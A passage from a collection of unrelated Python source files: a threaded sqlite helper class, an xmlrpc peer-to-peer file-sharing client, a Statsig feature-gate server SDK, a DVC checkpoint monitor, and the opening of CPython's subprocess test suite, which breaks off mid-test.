os.mkdir(cls.user_resources)
if not os.path.isdir(cls.img_folder):
os.mkdir(cls.img_folder) # creates image folder
table_lst = [Query.tag_table, Query.project_table, Query.goal_table, Query.todo_table]
for table in table_lst:
cls.create_table(table)
cls.check()
@classmethod
def _check(cls): # check if the image in the database exist in the folder and if it doesn't remove it
tag_table = "SELECT * FROM tag"
delete_tag = "DELETE FROM tag WHERE tag_name=(?)"
with sqlite3.connect(cls._sql_file) as conn:
curr = conn.cursor()
curr.execute(tag_table)
items = curr.fetchall()
for tag_name, tag_img_path in items:
if not os.path.isfile(tag_img_path):
conn.execute(delete_tag, (tag_name,))
conn.commit()
@classmethod
def check(cls): # calls check method
thread = threading.Thread(target=cls._check)
thread.start()
@classmethod
def _add_table_db(cls, sql_query: Query): # creates a new table if it doesn't exist
with sqlite3.connect(cls._sql_file, check_same_thread=False) as conn:
conn.execute(sql_query)
conn.commit()
@classmethod
def create_table(cls, sql_query: Query): # calls _add_table from thread
thread = threading.Thread(target=cls._add_table_db, args=(sql_query,))
thread.start()
thread.join()
@classmethod
def _insert_values(cls, insert_query: Query, *values): # inserts into table
with sqlite3.connect(cls._sql_file, check_same_thread=False) as conn:
conn.execute(insert_query, *values)
conn.commit()
@classmethod
def insert_to_table(cls, insert_query: Query, *values):
thread = threading.Thread(target=cls._insert_values, args=(insert_query, values))
thread.start()
thread.join()
if insert_query == Query.insert_to_tag:
cls.notify("settings")
cls.notify("Notification")
@classmethod
def _get_data_from_db(cls, query: Query, *values, fetch_size=None): # gets value from db
with sqlite3.connect(cls._sql_file) as conn:
curr = conn.cursor()
curr.execute(query, *values)
if fetch_size:
items = curr.fetchmany(fetch_size)
else:
items = curr.fetchall()
conn.commit()
return items
@classmethod
def get_data(cls, query: Query, *values,
fetch_size=None, ): # starts _get_data from another thread and returns the result
with concurrent.futures.ThreadPoolExecutor() as executor:
future = executor.submit(cls._get_data_from_db, query, values, fetch_size=fetch_size)
result = future.result()
return result
@classmethod
def _delete_data_from_db(cls, query: Query, *where_value):
# deletes the data from database options : where_value is the condition where
with sqlite3.connect(cls._sql_file) as conn:
conn.execute(query, *where_value)
@classmethod
def delete_data(cls, query, *where_value):
thread = threading.Thread(target=cls._delete_data_from_db, args=(query, where_value))
thread.start()
thread.join()
cls.notify("Notification")
@classmethod
def _update_date_from_db(cls, query, *args): # updates value in database
with sqlite3.connect(cls._sql_file) as conn:
conn.execute(query, *args)
@classmethod
def update_data(cls, query, *args):
thread = threading.Thread(target=cls._update_date_from_db, args=(query, args))
thread.start()
cls.notify("Notification")
@classmethod
def get_notify_classes(cls): # returns dict of all the classes registered
return cls.registered_classes
@classmethod
def register(cls, key: str, instance): # adds the instances to the notify set
if key not in cls.registered_classes.keys():
cls.registered_classes[key] = instance
else:
raise Exception(f"{key} Key already exists")
@classmethod
def unregister(cls, key: str): # removes the instances from the notify set
cls.registered_classes.pop(key)
@classmethod
def notify(cls, key=None): # call's the db_changed method in all the registered classes
# if key provided notifies only particular class
if key:
try:
cls.registered_classes[key].db_changed()
except NameError:
raise NotImplementedError
except KeyError:
print("No such key")
except Exception as e:
print(f"EXCEPTION: {e}")
else:
for instances in cls.registered_classes.values():
try:
instances.db_changed()
except NameError:
raise NotImplementedError
# Note: This class could be simplified by just having one method to execute all the queries.
# But, for the sake of readability and ease of use its not done.
|
client.py | from cmd import Cmd
from os import path
from random import choice
from string import ascii_lowercase
from server import Node, UNHANDLED # 向RPC Server调用方法,并接收方法的返回数据;
from threading import Thread
from time import sleep
from xmlrpc.client import ServerProxy, Fault
import sys
HEAD_START = 0.1 # 单位为秒
SECRET_LENGTH = 100
def random_string(length):
"""
返回一个指定长度的由字母组成的随机字符串
"""
chars = []
letters = ascii_lowercase[:26]
while length > 0:
length -= 1
chars.append(choice(letters))
return ''.join(chars)
class Client(Cmd):
"""
一个基于文本的界面,用于访问Node类
"""
prompt = '> '
def __init__(self, url, dirname, urlfile):
"""
设置url、dirname和urlfile,并在一个独立的线程中启动Node服务器
"""
Cmd.__init__(self)
self.secret = random_string(SECRET_LENGTH)
n = Node(url, dirname, self.secret)
t = Thread(target=n._start)
t.setDaemon(1)
t.start()
# 让服务器先行一步:
sleep(HEAD_START)
self.server = ServerProxy(url)
urlfile = path.join(dirname, urlfile)
for line in open(urlfile):
line = line.strip()
self.server.hello(line)
def do_fetch(self, arg):
"调用服务器的方法fetch"
try:
self.server.fetch(arg, self.secret)
except Fault as f:
if f.faultCode != UNHANDLED: raise
print("Couldn't find the file", arg)
def do_exit(self, arg):
"退出程序"
print()
sys.exit()
do_EOF = do_exit # EOF与'exit'等价
def main():
urlfile, directory, url = sys.argv[1:]
client = Client(url, directory, urlfile)
client.cmdloop()
if __name__ == '__main__': main() |
statsig_server.py | import asyncio
import threading
from .evaluator import _ConfigEvaluation, _Evaluator
from .statsig_network import _StatsigNetwork
from .statsig_logger import _StatsigLogger
from .dynamic_config import DynamicConfig
from .statsig_options import StatsigOptions
from .version import __version__
RULESETS_SYNC_INTERVAL = 10
IDLISTS_SYNC_INTERVAL = 60
class StatsigServer:
def initialize(self, sdkKey: str, options=None):
if sdkKey is None or not sdkKey.startswith("secret-"):
raise ValueError(
'Invalid key provided. You must use a Server Secret Key from the Statsig console.')
if options is None:
options = StatsigOptions()
self._options = options
self.__shutdown_event = threading.Event()
self.__statsig_metadata = {
"sdkVersion": __version__,
"sdkType": "py-server"
}
self._network = _StatsigNetwork(sdkKey, options)
self._logger = _StatsigLogger(self._network, self.__shutdown_event, self.__statsig_metadata, options.local_mode)
self._evaluator = _Evaluator()
self._last_update_time = 0
if not options.local_mode:
self._download_config_specs()
self.__background_download_configs = threading.Thread(
target=self._sync, args=(self._download_config_specs, options.rulesets_sync_interval or RULESETS_SYNC_INTERVAL,))
self.__background_download_configs.daemon = True
self.__background_download_configs.start()
if not options.local_mode:
self._download_id_lists()
self.__background_download_idlists = threading.Thread(
target=self._sync, args=(self._download_id_lists, options.idlists_sync_interval or IDLISTS_SYNC_INTERVAL,))
self.__background_download_idlists.daemon = True
self.__background_download_idlists.start()
self._initialized = True
def check_gate(self, user:object, gate_name:str):
if not self._initialized:
raise RuntimeError(
'Must call initialize before checking gates/configs/experiments or logging events')
if not user or not user.user_id:
raise ValueError(
'A non-empty StatsigUser.user_id is required. See https://docs.statsig.com/messages/serverRequiredUserID')
if not gate_name:
return False
result = self.__check_gate_server_fallback(user, gate_name)
return result.boolean_value
def get_config(self, user:object, config_name:str):
if not self._initialized:
raise RuntimeError(
'Must call initialize before checking gates/configs/experiments or logging events')
if not user or not user.user_id:
raise ValueError(
'A non-empty StatsigUser.user_id is required. See https://docs.statsig.com/messages/serverRequiredUserID')
if not config_name:
return DynamicConfig({})
result = self.__get_config_server_fallback(user, config_name)
return DynamicConfig(result.json_value, config_name, result.rule_id)
def get_experiment(self, user:object, experiment_name:str):
return self.get_config(user, experiment_name)
def log_event(self, event:object):
if not self._initialized:
raise RuntimeError(
'Must call initialize before checking gates/configs/experiments or logging events')
event.user = self.__normalize_user(event.user)
self._logger.log(event)
def shutdown(self):
self.__shutdown_event.set()
self._logger.shutdown()
self.__background_download_configs.join()
self.__background_download_idlists.join()
def override_gate(self, gate:str, value:bool, user_id:str = None):
self._evaluator.override_gate(gate, value, user_id)
def override_config(self, config:str, value:object, user_id:str = None):
self._evaluator.override_config(config, value, user_id)
def override_experiment(self, experiment:str, value:object, user_id:str = None):
self._evaluator.override_config(experiment, value, user_id)
def evaluate_all(self, user:object):
all_gates = dict()
for gate in self._evaluator.get_all_gates():
result = self.__check_gate_server_fallback(user, gate, False)
all_gates[gate] = {
"value": result.boolean_value,
"rule_id": result.rule_id
}
all_configs = dict()
for config in self._evaluator.get_all_configs():
result = self.__get_config_server_fallback(user, config, False)
all_configs[config] = {
"value": result.json_value,
"rule_id": result.rule_id
}
return dict({
"feature_gates": all_gates,
"dynamic_configs": all_configs
})
def __check_gate_server_fallback(self, user:object, gate_name:str, log_exposure=True):
user = self.__normalize_user(user)
result = self._evaluator.check_gate(user, gate_name)
if result.fetch_from_server:
network_gate = self._network.post_request("check_gate", {
"gateName": gate_name,
"user": user.to_dict(True),
"statsigMetadata": self.__statsig_metadata,
})
if network_gate is None:
return _ConfigEvaluation()
return _ConfigEvaluation(boolean_value=network_gate.get("value"), rule_id=network_gate.get("rule_id"))
elif log_exposure:
self._logger.log_gate_exposure(
user, gate_name, result.boolean_value, result.rule_id, result.secondary_exposures)
return result
def __get_config_server_fallback(self, user:object, config_name:str, log_exposure=True):
user = self.__normalize_user(user)
result = self._evaluator.get_config(user, config_name)
if result.fetch_from_server:
network_config = self._network.post_request("get_config", {
"configName": config_name,
"user": user,
"statsigMetadata": self.__statsig_metadata,
})
if network_config is None:
return _ConfigEvaluation()
return _ConfigEvaluation(json_value=network_config.get("value", {}), rule_id=network_config.get("ruleID", ""))
elif log_exposure:
self._logger.log_config_exposure(
user, config_name, result.rule_id, result.secondary_exposures)
return result
def __normalize_user(self, user):
if self._options is not None and self._options._environment is not None:
user._statsig_environment = self._options._environment
return user
def _sync(self, sync_func, interval):
while True:
if self.__shutdown_event.wait(interval):
break
sync_func()
def _download_config_specs(self):
specs = self._network.post_request("download_config_specs", {
"statsigMetadata": self.__statsig_metadata,
"sinceTime": self._last_update_time,
})
if specs is None:
return
time = specs.get("time")
if time is not None:
self._last_update_time = time
if specs.get("has_updates", False):
self._evaluator.setDownloadedConfigs(specs)
def _download_id_list(self, list_name, list):
res = self._network.post_request("download_id_list", {
"listName": list_name,
"statsigMetadata": self.__statsig_metadata,
"sinceTime": list.get("time", 0),
})
if res is None:
return
ids = list.get("ids", dict())
for id in res.get("add_ids", []):
ids[id] = True
for id in res.get("remove_ids", []):
del ids[id]
new_time = res.get("time", 0)
if new_time > list.get("time", 0):
list["time"] = new_time
def _download_id_lists(self):
thread_pool = []
id_lists = self._evaluator.getIDLists()
for list_name, list in id_lists.items():
thread = threading.Thread(
target=self._download_id_list, args=(list_name, list, ))
thread.daemon = True
thread_pool.append(thread)
thread.start()
for thread in thread_pool:
thread.join()
|
monitor.py | import functools
import logging
import os
import subprocess
import threading
from dataclasses import dataclass
from typing import TYPE_CHECKING, Callable, List
from dvc.repo.live import create_summary
from dvc.stage.decorators import relock_repo
from dvc.stage.exceptions import StageCmdFailedError
from dvc.ui import ui
if TYPE_CHECKING:
from dvc.output import Output
from dvc.stage import Stage
logger = logging.getLogger(__name__)
class CheckpointKilledError(StageCmdFailedError):
pass
class LiveKilledError(StageCmdFailedError):
pass
@dataclass
class MonitorTask:
stage: "Stage"
execute: Callable
proc: subprocess.Popen
done: threading.Event = threading.Event()
killed: threading.Event = threading.Event()
@property
def name(self) -> str:
raise NotImplementedError
@property
def SIGNAL_FILE(self) -> str:
raise NotImplementedError
@property
def error_cls(self) -> type:
raise NotImplementedError
@property
def signal_path(self) -> str:
return os.path.join(self.stage.repo.tmp_dir, self.SIGNAL_FILE)
def after_run(self):
pass
class CheckpointTask(MonitorTask):
name = "checkpoint"
SIGNAL_FILE = "DVC_CHECKPOINT"
error_cls = CheckpointKilledError
def __init__(
self, stage: "Stage", callback_func: Callable, proc: subprocess.Popen
):
super().__init__(
stage,
functools.partial(
CheckpointTask._run_callback, stage, callback_func
),
proc,
)
@staticmethod
@relock_repo
def _run_callback(stage, callback_func):
stage.save(allow_missing=True)
stage.commit(allow_missing=True)
stage.unprotect_outs()
logger.debug("Running checkpoint callback for stage '%s'", stage)
callback_func()
class LiveTask(MonitorTask):
name = "live"
SIGNAL_FILE = "DVC_LIVE"
error_cls = LiveKilledError
def __init__(self, stage: "Stage", out: "Output", proc: subprocess.Popen):
self.output_path = os.path.join(
os.getcwd(), out.path_info.fspath + "_dvc_plots", "index.html"
)
ui.write(f"Live summary will be created at:\n{self.output_path}")
super().__init__(stage, functools.partial(create_summary, out), proc)
def after_run(self):
# make sure summary is prepared for all the data
self.execute()
ui.write(f"Live summary has been created at:\n{self.output_path}")
class Monitor:
AWAIT: float = 1.0
def __init__(self, tasks: List[MonitorTask]):
self.done = threading.Event()
self.tasks = tasks
self.monitor_thread = threading.Thread(
target=Monitor._loop, args=(self.tasks, self.done)
)
def __enter__(self):
self.monitor_thread.start()
def __exit__(self, exc_type, exc_val, exc_tb):
self.done.set()
self.monitor_thread.join()
for t in self.tasks:
t.after_run()
@staticmethod
def kill(proc):
if os.name == "nt":
return Monitor._kill_nt(proc)
proc.terminate()
proc.wait()
@staticmethod
def _kill_nt(proc):
# windows stages are spawned with shell=True, proc is the shell process
# and not the actual stage process - we have to kill the entire tree
subprocess.call(["taskkill", "/F", "/T", "/PID", str(proc.pid)])
@staticmethod
def _loop(tasks: List[MonitorTask], done: threading.Event):
while True:
for task in tasks:
if os.path.exists(task.signal_path):
try:
task.execute()
except Exception: # pylint: disable=broad-except
logger.exception(
"Error running '%s' task, '%s' will be aborted",
task.name,
task.stage,
)
Monitor.kill(task.proc)
task.killed.set()
finally:
logger.debug(
"Removing signal file for '%s' task", task.name
)
os.remove(task.signal_path)
if done.wait(Monitor.AWAIT):
return
|
test_subprocess.py | import unittest
from test.support import script_helper
from test import support
import subprocess
import sys
import signal
import io
import locale
import os
import errno
import tempfile
import time
import re
import selectors
import sysconfig
import warnings
import select
import shutil
import gc
import textwrap
try:
import threading
except ImportError:
threading = None
mswindows = (sys.platform == "win32")
#
# Depends on the following external programs: Python
#
if mswindows:
SETBINARY = ('import msvcrt; msvcrt.setmode(sys.stdout.fileno(), '
'os.O_BINARY);')
else:
SETBINARY = ''
class BaseTestCase(unittest.TestCase):
def setUp(self):
# Try to minimize the number of children we have so this test
# doesn't crash on some buildbots (Alphas in particular).
support.reap_children()
def tearDown(self):
for inst in subprocess._active:
inst.wait()
subprocess._cleanup()
self.assertFalse(subprocess._active, "subprocess._active not empty")
def assertStderrEqual(self, stderr, expected, msg=None):
# In a debug build, stuff like "[6580 refs]" is printed to stderr at
# shutdown time. That frustrates tests trying to check stderr produced
# from a spawned Python process.
actual = support.strip_python_stderr(stderr)
# strip_python_stderr also strips whitespace, so we do too.
expected = expected.strip()
self.assertEqual(actual, expected, msg)
class PopenTestException(Exception):
pass
class PopenExecuteChildRaises(subprocess.Popen):
"""Popen subclass for testing cleanup of subprocess.PIPE filehandles when
_execute_child fails.
"""
def _execute_child(self, *args, **kwargs):
raise PopenTestException("Forced Exception for Test")
class ProcessTestCase(BaseTestCase):
def test_io_buffered_by_default(self):
p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"],
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
try:
self.assertIsInstance(p.stdin, io.BufferedIOBase)
self.assertIsInstance(p.stdout, io.BufferedIOBase)
self.assertIsInstance(p.stderr, io.BufferedIOBase)
finally:
p.stdin.close()
p.stdout.close()
p.stderr.close()
p.wait()
def test_io_unbuffered_works(self):
p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"],
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, bufsize=0)
try:
self.assertIsInstance(p.stdin, io.RawIOBase)
self.assertIsInstance(p.stdout, io.RawIOBase)
self.assertIsInstance(p.stderr, io.RawIOBase)
finally:
p.stdin.close()
p.stdout.close()
p.stderr.close()
p.wait()
def test_call_seq(self):
# call() function with sequence argument
rc = subprocess.call([sys.executable, "-c",
"import sys; sys.exit(47)"])
self.assertEqual(rc, 47)
def test_call_timeout(self):
# call() function with timeout argument; we want to test that the child
# process gets killed when the timeout expires. If the child isn't
# killed, this call will deadlock since subprocess.call waits for the
# child.
self.assertRaises(subprocess.TimeoutExpired, subprocess.call,
[sys.executable, "-c", "while True: pass"],
timeout=0.1)
def test_check_call_zero(self):
# check_call() function with zero return code
rc = subprocess.check_call([sys.executable, "-c",
"import sys; sys.exit(0)"])
self.assertEqual(rc, 0)
def test_check_call_nonzero(self):
# check_call() function with non-zero return code
with self.assertRaises(subprocess.CalledProcessError) as c:
subprocess.check_call([sys.executable, "-c",
"import sys; sys.exit(47)"])
self.assertEqual(c.exception.returncode, 47)
def test_check_output(self):
# check_output() function with zero return code
output = subprocess.check_output(
[sys.executable, "-c", "print('BDFL')"])
self.assertIn(b'BDFL', output)
def test_check_output_nonzero(self):
# check_call() function with non-zero return code
with self.assertRaises(subprocess.CalledProcessError) as c:
subprocess.check_output(
[sys.executable, "-c", "import sys; sys.exit(5)"])
self.assertEqual(c.exception.returncode, 5)
def test_check_output_stderr(self):
# check_output() function stderr redirected to stdout
output = subprocess.check_output(
[sys.executable, "-c", "import sys; sys.stderr.write('BDFL')"],
stderr=subprocess.STDOUT)
self.assertIn(b'BDFL', output)
def test_check_output_stdin_arg(self):
# check_output() can be called with stdin set to a file
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
tf.write(b'pear')
tf.seek(0)
output = subprocess.check_output(
[sys.executable, "-c",
"import sys; sys.stdout.write(sys.stdin.read().upper())"],
stdin=tf)
self.assertIn(b'PEAR', output)
def test_check_output_input_arg(self):
# check_output() can be called with input set to a string
output = subprocess.check_output(
[sys.executable, "-c",
"import sys; sys.stdout.write(sys.stdin.read().upper())"],
input=b'pear')
self.assertIn(b'PEAR', output)
def test_check_output_stdout_arg(self):
# check_output() refuses to accept 'stdout' argument
with self.assertRaises(ValueError) as c:
output = subprocess.check_output(
[sys.executable, "-c", "print('will not be run')"],
stdout=sys.stdout)
self.fail("Expected ValueError when stdout arg supplied.")
self.assertIn('stdout', c.exception.args[0])
def test_check_output_stdin_with_input_arg(self):
# check_output() refuses to accept 'stdin' with 'input'
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
tf.write(b'pear')
tf.seek(0)
with self.assertRaises(ValueError) as c:
output = subprocess.check_output(
[sys.executable, "-c", "print('will not be run')"],
stdin=tf, input=b'hare')
self.fail("Expected ValueError when stdin and input args supplied.")
self.assertIn('stdin', c.exception.args[0])
self.assertIn('input', c.exception.args[0])
def test_check_output_timeout(self):
# check_output() function with timeout arg
with self.assertRaises(subprocess.TimeoutExpired) as c:
output = subprocess.check_output(
[sys.executable, "-c",
"import sys, time\n"
"sys.stdout.write('BDFL')\n"
"sys.stdout.flush()\n"
"time.sleep(3600)"],
# Some heavily loaded buildbots (sparc Debian 3.x) require
# this much time to start and print.
timeout=3)
self.fail("Expected TimeoutExpired.")
self.assertEqual(c.exception.output, b'BDFL')
def test_call_kwargs(self):
# call() function with keyword args
newenv = os.environ.copy()
newenv["FRUIT"] = "banana"
rc = subprocess.call([sys.executable, "-c",
'import sys, os;'
'sys.exit(os.getenv("FRUIT")=="banana")'],
env=newenv)
self.assertEqual(rc, 1)
def test_invalid_args(self):
# Popen() called with invalid arguments should raise TypeError
# but Popen.__del__ should not complain (issue #12085)
with support.captured_stderr() as s:
self.assertRaises(TypeError, subprocess.Popen, invalid_arg_name=1)
argcount = subprocess.Popen.__init__.__code__.co_argcount
too_many_args = [0] * (argcount + 1)
self.assertRaises(TypeError, subprocess.Popen, *too_many_args)
self.assertEqual(s.getvalue(), '')
def test_stdin_none(self):
# .stdin is None when not redirected
p = subprocess.Popen([sys.executable, "-c", 'print("banana")'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
p.wait()
self.assertEqual(p.stdin, None)
def test_stdout_none(self):
# .stdout is None when not redirected, and the child's stdout will
# be inherited from the parent. In order to test this we run a
# subprocess in a subprocess:
# this_test
# \-- subprocess created by this test (parent)
# \-- subprocess created by the parent subprocess (child)
# The parent doesn't specify stdout, so the child will use the
# parent's stdout. This test checks that the message printed by the
# child goes to the parent stdout. The parent also checks that the
# child's stdout is None. See #11963.
code = ('import sys; from subprocess import Popen, PIPE;'
'p = Popen([sys.executable, "-c", "print(\'test_stdout_none\')"],'
' stdin=PIPE, stderr=PIPE);'
'p.wait(); assert p.stdout is None;')
p = subprocess.Popen([sys.executable, "-c", code],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
out, err = p.communicate()
self.assertEqual(p.returncode, 0, err)
self.assertEqual(out.rstrip(), b'test_stdout_none')
def test_stderr_none(self):
# .stderr is None when not redirected
p = subprocess.Popen([sys.executable, "-c", 'print("banana")'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stdin.close)
p.wait()
self.assertEqual(p.stderr, None)
def _assert_python(self, pre_args, **kwargs):
# We include sys.exit() to prevent the test runner from hanging
# whenever python is found.
args = pre_args + ["import sys; sys.exit(47)"]
p = subprocess.Popen(args, **kwargs)
p.wait()
self.assertEqual(47, p.returncode)
def test_executable(self):
# Check that the executable argument works.
#
# On Unix (non-Mac and non-Windows), Python looks at args[0] to
# determine where its standard library is, so we need the directory
# of args[0] to be valid for the Popen() call to Python to succeed.
# See also issue #16170 and issue #7774.
doesnotexist = os.path.join(os.path.dirname(sys.executable),
"doesnotexist")
self._assert_python([doesnotexist, "-c"], executable=sys.executable)
def test_executable_takes_precedence(self):
# Check that the executable argument takes precedence over args[0].
#
# Verify first that the call succeeds without the executable arg.
pre_args = [sys.executable, "-c"]
self._assert_python(pre_args)
self.assertRaises(FileNotFoundError, self._assert_python, pre_args,
executable="doesnotexist")
@unittest.skipIf(mswindows, "executable argument replaces shell")
def test_executable_replaces_shell(self):
# Check that the executable argument replaces the default shell
# when shell=True.
self._assert_python([], executable=sys.executable, shell=True)
# For use in the test_cwd* tests below.
def _normalize_cwd(self, cwd):
# Normalize an expected cwd (for Tru64 support).
# We can't use os.path.realpath since it doesn't expand Tru64 {memb}
# strings. See bug #1063571.
with support.change_cwd(cwd):
return os.getcwd()
# For use in the test_cwd* tests below.
def _split_python_path(self):
# Return normalized (python_dir, python_base).
python_path = os.path.realpath(sys.executable)
return os.path.split(python_path)
# For use in the test_cwd* tests below.
def _assert_cwd(self, expected_cwd, python_arg, **kwargs):
# Invoke Python via Popen, and assert that (1) the call succeeds,
# and that (2) the current working directory of the child process
# matches *expected_cwd*.
p = subprocess.Popen([python_arg, "-c",
"import os, sys; "
"sys.stdout.write(os.getcwd()); "
"sys.exit(47)"],
stdout=subprocess.PIPE,
**kwargs)
self.addCleanup(p.stdout.close)
p.wait()
self.assertEqual(47, p.returncode)
normcase = os.path.normcase
self.assertEqual(normcase(expected_cwd),
normcase(p.stdout.read().decode("utf-8")))
def test_cwd(self):
# Check that cwd changes the cwd for the child process.
temp_dir = tempfile.gettempdir()
temp_dir = self._normalize_cwd(temp_dir)
self._assert_cwd(temp_dir, sys.executable, cwd=temp_dir)
@unittest.skipIf(mswindows, "pending resolution of issue #15533")
def test_cwd_with_relative_arg(self):
# Check that Popen looks for args[0] relative to cwd if args[0]
# is relative.
python_dir, python_base = self._split_python_path()
rel_python = os.path.join(os.curdir, python_base)
with support.temp_cwd() as wrong_dir:
# Before calling with the correct cwd, confirm that the call fails
# without cwd and with the wrong cwd.
self.assertRaises(FileNotFoundError, subprocess.Popen,
[rel_python])
self.assertRaises(FileNotFoundError, subprocess.Popen,
[rel_python], cwd=wrong_dir)
python_dir = self._normalize_cwd(python_dir)
self._assert_cwd(python_dir, rel_python, cwd=python_dir)
@unittest.skipIf(mswindows, "pending resolution of issue #15533")
def test_cwd_with_relative_executable(self):
# Check that Popen looks for executable relative to cwd if executable
# is relative (and that executable takes precedence over args[0]).
python_dir, python_base = self._split_python_path()
rel_python = os.path.join(os.curdir, python_base)
doesntexist = "somethingyoudonthave"
with support.temp_cwd() as wrong_dir:
# Before calling with the correct cwd, confirm that the call fails
# without cwd and with the wrong cwd.
self.assertRaises(FileNotFoundError, subprocess.Popen,
[doesntexist], executable=rel_python)
self.assertRaises(FileNotFoundError, subprocess.Popen,
[doesntexist], executable=rel_python,
cwd=wrong_dir)
python_dir = self._normalize_cwd(python_dir)
self._assert_cwd(python_dir, doesntexist, executable=rel_python,
cwd=python_dir)
def test_cwd_with_absolute_arg(self):
# Check that Popen can find the executable when the cwd is wrong
# if args[0] is an absolute path.
python_dir, python_base = self._split_python_path()
abs_python = os.path.join(python_dir, python_base)
rel_python = os.path.join(os.curdir, python_base)
with support.temp_dir() as wrong_dir:
# Before calling with an absolute path, confirm that using a
# relative path fails.
self.assertRaises(FileNotFoundError, subprocess.Popen,
[rel_python], cwd=wrong_dir)
wrong_dir = self._normalize_cwd(wrong_dir)
self._assert_cwd(wrong_dir, abs_python, cwd=wrong_dir)
@unittest.skipIf(sys.base_prefix != sys.prefix,
'Test is not venv-compatible')
def test_executable_with_cwd(self):
python_dir, python_base = self._split_python_path()
python_dir = self._normalize_cwd(python_dir)
self._assert_cwd(python_dir, "somethingyoudonthave",
executable=sys.executable, cwd=python_dir)
@unittest.skipIf(sys.base_prefix != sys.prefix,
'Test is not venv-compatible')
@unittest.skipIf(sysconfig.is_python_build(),
"need an installed Python. See #7774")
def test_executable_without_cwd(self):
# For a normal installation, it should work without 'cwd'
# argument. For test runs in the build directory, see #7774.
self._assert_cwd(os.getcwd(), "somethingyoudonthave",
executable=sys.executable)
def test_stdin_pipe(self):
# stdin redirection
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.exit(sys.stdin.read() == "pear")'],
stdin=subprocess.PIPE)
p.stdin.write(b"pear")
p.stdin.close()
p.wait()
self.assertEqual(p.returncode, 1)
def test_stdin_filedes(self):
# stdin is set to open file descriptor
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
d = tf.fileno()
os.write(d, b"pear")
os.lseek(d, 0, 0)
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.exit(sys.stdin.read() == "pear")'],
stdin=d)
p.wait()
self.assertEqual(p.returncode, 1)
def test_stdin_fileobj(self):
# stdin is set to open file object
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
tf.write(b"pear")
tf.seek(0)
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.exit(sys.stdin.read() == "pear")'],
stdin=tf)
p.wait()
self.assertEqual(p.returncode, 1)
def test_stdout_pipe(self):
# stdout redirection
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.stdout.write("orange")'],
stdout=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read(), b"orange")
def test_stdout_filedes(self):
# stdout is set to open file descriptor
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
d = tf.fileno()
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.stdout.write("orange")'],
stdout=d)
p.wait()
os.lseek(d, 0, 0)
self.assertEqual(os.read(d, 1024), b"orange")
def test_stdout_fileobj(self):
# stdout is set to open file object
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.stdout.write("orange")'],
stdout=tf)
p.wait()
tf.seek(0)
self.assertEqual(tf.read(), b"orange")
def test_stderr_pipe(self):
# stderr redirection
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.stderr.write("strawberry")'],
stderr=subprocess.PIPE)
self.addCleanup(p.stderr.close)
self.assertStderrEqual(p.stderr.read(), b"strawberry")
def test_stderr_filedes(self):
# stderr is set to open file descriptor
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
d = tf.fileno()
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.stderr.write("strawberry")'],
stderr=d)
p.wait()
os.lseek(d, 0, 0)
self.assertStderrEqual(os.read(d, 1024), b"strawberry")
def test_stderr_fileobj(self):
# stderr is set to open file object
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
p = subprocess.Popen([sys.executable, "-c",
'import sys; sys.stderr.write("strawberry")'],
stderr=tf)
p.wait()
tf.seek(0)
self.assertStderrEqual(tf.read(), b"strawberry")
def test_stdout_stderr_pipe(self):
# capture stdout and stderr to the same pipe
p = subprocess.Popen([sys.executable, "-c",
'import sys;'
'sys.stdout.write("apple");'
'sys.stdout.flush();'
'sys.stderr.write("orange")'],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT)
self.addCleanup(p.stdout.close)
self.assertStderrEqual(p.stdout.read(), b"appleorange")
def test_stdout_stderr_file(self):
# capture stdout and stderr to the same open file
tf = tempfile.TemporaryFile()
self.addCleanup(tf.close)
p = subprocess.Popen([sys.executable, "-c",
'import sys;'
'sys.stdout.write("apple");'
'sys.stdout.flush();'
'sys.stderr.write("orange")'],
stdout=tf,
stderr=tf)
p.wait()
tf.seek(0)
self.assertStderrEqual(tf.read(), b"appleorange")
def test_stdout_filedes_of_stdout(self):
# stdout is set to 1 (#1531862).
# To avoid printing the text on stdout, we do something similar to
# test_stdout_none (see above). The parent subprocess calls the child
# subprocess passing stdout=1, and this test uses stdout=PIPE in
# order to capture and check the output of the parent. See #11963.
code = ('import sys, subprocess; '
'rc = subprocess.call([sys.executable, "-c", '
' "import os, sys; sys.exit(os.write(sys.stdout.fileno(), '
'b\'test with stdout=1\'))"], stdout=1); '
'assert rc == 18')
p = subprocess.Popen([sys.executable, "-c", code],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
out, err = p.communicate()
self.assertEqual(p.returncode, 0, err)
self.assertEqual(out.rstrip(), b'test with stdout=1')
def test_stdout_devnull(self):
p = subprocess.Popen([sys.executable, "-c",
'for i in range(10240):'
'print("x" * 1024)'],
stdout=subprocess.DEVNULL)
p.wait()
self.assertEqual(p.stdout, None)
def test_stderr_devnull(self):
p = subprocess.Popen([sys.executable, "-c",
'import sys\n'
'for i in range(10240):'
'sys.stderr.write("x" * 1024)'],
stderr=subprocess.DEVNULL)
p.wait()
self.assertEqual(p.stderr, None)
def test_stdin_devnull(self):
p = subprocess.Popen([sys.executable, "-c",
